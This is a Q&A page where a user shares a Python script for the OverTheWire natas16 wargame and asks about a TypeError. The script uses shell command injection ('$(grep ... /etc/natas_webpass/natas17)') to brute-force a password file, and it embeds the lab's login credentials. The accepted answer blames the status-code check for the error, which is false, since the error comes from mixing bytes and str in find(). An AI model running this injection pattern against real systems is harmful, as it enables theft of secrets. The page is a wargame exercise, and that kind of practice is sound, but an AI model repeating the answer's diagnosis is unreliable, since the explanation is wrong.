1

I have a problem here when i try running code below it does not work and show a text message as follows"

Target reachable. Starting character parsing... Traceback (most recent call last): File "C:\Users\hoangcode\Desktop\main.py", line 25, in if r.content.find(existsStr) != -1: TypeError: a bytes-like object is required, not 'str'

code here:

import requests

allChars = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'

parsedChars = ''

password = ''

target = 'http://natas16:WaIHEacj63wnNIBROHeqi3p9t0m5nhmh@natas16.natas.labs.overthewire.org/'

existsStr = 'Output:\n<pre>\n</pre>'

r = requests.get(target)
if r.status_code != requests.codes.ok:
        raise ValueError('Kabum? Couldn\'t connect to target :(')
else:
        print ("Target reachable. Starting character parsing...")


for c in allChars:

        r = requests.get(target+'?needle=$(grep '+c+' /etc/natas_webpass/natas17)whacked')
        if r.content.find(existsStr) != -1:
                parsedChars += c
                print ('Used chars: ' + parsedChars)

print ("Characters parsed. Starting brute force...")


for i in range(32):
        for c in parsedChars:

                r = requests.get(target+'?needle=$(grep ^'+password+c+' /etc/natas_webpass/natas17)whacked')
                if r.content.find(existsStr) != -1:
                        password += c
                        print ('Password: ' + password + '*' * int(32 - len(password)))
                        break

print ("Done. Have fun!")
1
  • i try to flow mean u but it does work, code here: if r.get(existsStr).status_code != 200: Commented Apr 23, 2017 at 13:04

1 Answer 1

1

It is because requests.code.ok is an object which is internally represented as byte whereas requests.status_code returns an integer so you are comparing int with a byte object hence you are getting error. So in order to check you got ok response you need to use corresponding int code hence your code will be

if response.status_code != 200:
        raise ValueError('Kabum? Couldn\'t connect to target :(')
else:
        print ("Target reachable. Starting character parsing...")

I hope you know the status codes of response but for your reference I'm adding response codes list.

Sign up to request clarification or add additional context in comments.

Comments

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Start asking to get answers

Find the answer to your question by asking.

Ask question

Explore related questions

See similar questions with these tags.